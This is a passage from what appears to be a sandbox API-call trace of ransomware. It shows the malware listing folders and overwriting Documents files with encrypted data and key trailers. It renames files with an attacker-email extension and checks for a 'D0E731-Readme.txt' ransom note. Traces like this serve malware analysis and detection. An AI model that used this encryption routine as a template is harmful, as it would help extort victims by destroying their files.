_Dest="C:\\Users\\FD1HVy\\Favorites\\Links\\") returned="C:\\Users\\FD1HVy\\Favorites\\Links\\" [0170.344] wcscat (in: _Dest=0x2feff50, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Links\\*") returned="C:\\Users\\FD1HVy\\Favorites\\Links\\*" [0170.345] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020308 [0170.345] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\*", lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045428 [0170.345] wcscmp (_String1=".", _String2=".") returned 0 [0170.345] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.345] wcscmp (_String1="..", _String2=".") returned 1 [0170.345] wcscmp (_String1="..", _String2="..") returned 0 [0170.345] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0170.345] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0170.345] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0170.345] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0170.345] FindClose (in: hFindFile=0x3045428 | out: hFindFile=0x3045428) returned 1 [0170.345] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020308) returned 1 [0170.345] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feff50) returned 1 [0170.345] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0170.345] RtlExitUserThread (Status=0x0) Thread: id = 1900 os_tid = 0x978 [0170.346] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\3qrm1-sx4frmskjxkoo.docx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.348] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.348] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\3qrm1-sx4frmskjxkoo.docx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.348] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x1246fb90 | out: lpFileSize=0x1246fb90*=9878) returned 1 [0170.348] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x2692, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.348] ReadFile (in: hFile=0x528, lpBuffer=0x1246fb64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1246fb60, lpOverlapped=0x0 | out: lpBuffer=0x1246fb64*, lpNumberOfBytesRead=0x1246fb60*=0x4, lpOverlapped=0x0) returned 1 [0170.350] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0170.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0170.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4398 [0170.350] NtQuerySystemTime (in: CurrentTime=0x1246fb3c | out: CurrentTime=0x1246fb3c*=132121213276626875) returned 0x0 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x49323197 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x9051d0ae [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xfe11df3d [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x98d602b4 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x282745d4 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x9fa2b076 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x64df4f20 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xc792f989 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xac61db76 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x9938bb24 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xb50f03e1 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xb89774be [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x9fa06d97 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xaf3b57c1 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x159b94b7 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x75e901ef [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x52293640 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x93dd6b0a [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xa4965f78 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xd5a7e652 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xac2cf6a7 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xf7d92900 [0170.350] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x186f23df [0170.351] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xd72930c5 [0170.351] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xf52c1eb4 [0170.351] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x83b4d89 [0170.351] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x4900a048 [0170.351] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x1e83f219 [0170.351] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0xcd88d7fd [0170.351] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x64201540 [0170.351] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x7a65f5b7 [0170.351] RtlRandom (in: Seed=0x1246fb48 | out: Seed=0x1246fb48) returned 0x9796d9dd [0170.360] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.362] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.362] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0170.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0170.362] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.362] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.362] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.362] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.362] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.362] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.362] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x2696, lpNumberOfBytesRead=0x1246fb3c, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x1246fb3c*=0x2696, lpOverlapped=0x0) returned 1 [0170.363] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1246fb04 | out: lpNewFilePointer=0x0) returned 1 [0170.363] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x2696, lpNumberOfBytesWritten=0x1246fb38, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x1246fb38*=0x2696, lpOverlapped=0x0) returned 1 [0170.364] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.364] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0170.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0170.364] WriteFile (in: hFile=0x528, lpBuffer=0x2f884a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1246fb34, lpOverlapped=0x0 | out: lpBuffer=0x2f884a8*, lpNumberOfBytesWritten=0x1246fb34*=0x20, lpOverlapped=0x0) returned 1 [0170.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.364] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.364] WriteFile (in: hFile=0x528, lpBuffer=0x2f883b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1246fb60, lpOverlapped=0x0 | out: lpBuffer=0x2f883b8*, lpNumberOfBytesWritten=0x1246fb60*=0x8, lpOverlapped=0x0) returned 1 [0170.364] WriteFile (in: hFile=0x528, lpBuffer=0x1246fb78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1246fb60, lpOverlapped=0x0 | out: lpBuffer=0x1246fb78*, lpNumberOfBytesWritten=0x1246fb60*=0x4, lpOverlapped=0x0) returned 1 [0170.364] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1246fb60, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1246fb60*=0x4, lpOverlapped=0x0) returned 1 [0170.364] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1246fb60, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1246fb60*=0x6c, lpOverlapped=0x0) returned 1 [0170.365] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1246fb60, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x1246fb60*=0x20, lpOverlapped=0x0) returned 1 [0170.365] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1246fb60, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1246fb60*=0x4, lpOverlapped=0x0) returned 1 [0170.365] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0170.365] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.365] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0170.365] CloseHandle (hObject=0x528) returned 1 [0170.365] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x2f95ed8 [0170.365] wcscpy (in: _Dest=0x2f95ed8, _Source="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731" [0170.365] wcscat (in: _Dest=0x2f95ed8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.365] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\3qrm1-sx4frmskjxkoo.docx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\3qrm1-sx4frmskjxkoo.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.366] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.366] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95ed8) returned 1 [0170.366] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.366] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87fd8 [0170.366] wcscpy (in: _Dest=0x2f87fd8, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0170.366] wcscat (in: _Dest=0x2f87fd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0170.366] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0170.367] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87fd8) returned 1 [0170.367] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e4a0) returned 1 [0170.367] RtlExitUserThread (Status=0x1) Thread: id = 1901 os_tid = 0x97c [0170.368] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\90pgs.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.368] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\90pgs.xlsx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.369] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x124efd28 | out: lpFileSize=0x124efd28*=28292) returned 1 [0170.369] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x6e80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.369] ReadFile (in: hFile=0x528, lpBuffer=0x124efcfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x124efcf8, lpOverlapped=0x0 | out: lpBuffer=0x124efcfc*, lpNumberOfBytesRead=0x124efcf8*=0x4, lpOverlapped=0x0) returned 1 [0170.370] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0170.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0170.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0170.370] NtQuerySystemTime (in: CurrentTime=0x124efcd4 | out: CurrentTime=0x124efcd4*=132121213276783069) returned 0x0 [0170.370] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x1e8d603a [0170.370] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0xc99cb1ea [0170.370] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x9712222b [0170.370] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x248b6e1f [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x1165dea4 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x2a97261 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x94c41d88 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x716dd66b [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0xd6fb860 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x19f6860e [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0xf0d40ffb [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x82468fef [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x6b40e279 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x90d6d89b [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x915899ea [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x373b5637 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0xe79dc474 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0xb2738297 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x596e8aea [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x228b44bc [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0xf80308bb [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0xaacd31e2 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x43f0388e [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x8660781e [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x61183dd9 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0xeee772e2 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x191165d5 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0xa9771d82 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x1f27da9 [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x10f827ab [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x486e4f7c [0170.371] RtlRandom (in: Seed=0x124efce0 | out: Seed=0x124efce0) returned 0x9a59ad49 [0170.380] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.382] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.382] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0170.382] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.382] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.382] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x124efcac, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x124efcac*=0x4096, lpOverlapped=0x0) returned 1 [0170.383] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.383] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.384] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.384] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0170.384] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0170.384] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.384] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0170.384] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0170.384] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0170.384] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.384] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.384] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x124efcac, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x124efcac*=0x4096, lpOverlapped=0x0) returned 1 [0170.385] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.385] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.385] WriteFile (in: hFile=0x528, lpBuffer=0x2fab550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x124efce4, lpOverlapped=0x0 | out: lpBuffer=0x2fab550*, lpNumberOfBytesWritten=0x124efce4*=0x20, lpOverlapped=0x0) returned 1 [0170.385] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0170.385] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.385] WriteFile (in: hFile=0x528, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x124efcf8, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x124efcf8*=0x8, lpOverlapped=0x0) returned 1 [0170.385] WriteFile (in: hFile=0x528, lpBuffer=0x124efd10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x124efcf8, lpOverlapped=0x0 | out: lpBuffer=0x124efd10*, lpNumberOfBytesWritten=0x124efcf8*=0x4, lpOverlapped=0x0) returned 1 [0170.385] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x124efcf8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x124efcf8*=0x4, lpOverlapped=0x0) returned 1 [0170.385] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x124efcf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x124efcf8*=0x6c, lpOverlapped=0x0) returned 1 [0170.386] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x124efcf8, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0x124efcf8*=0x20, lpOverlapped=0x0) returned 1 [0170.386] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x124efcf8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x124efcf8*=0x4, lpOverlapped=0x0) returned 1 [0170.386] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0170.386] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0170.386] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.386] CloseHandle (hObject=0x528) returned 1 [0170.386] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff2450 [0170.386] wcscpy (in: _Dest=0x2ff2450, _Source="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731") 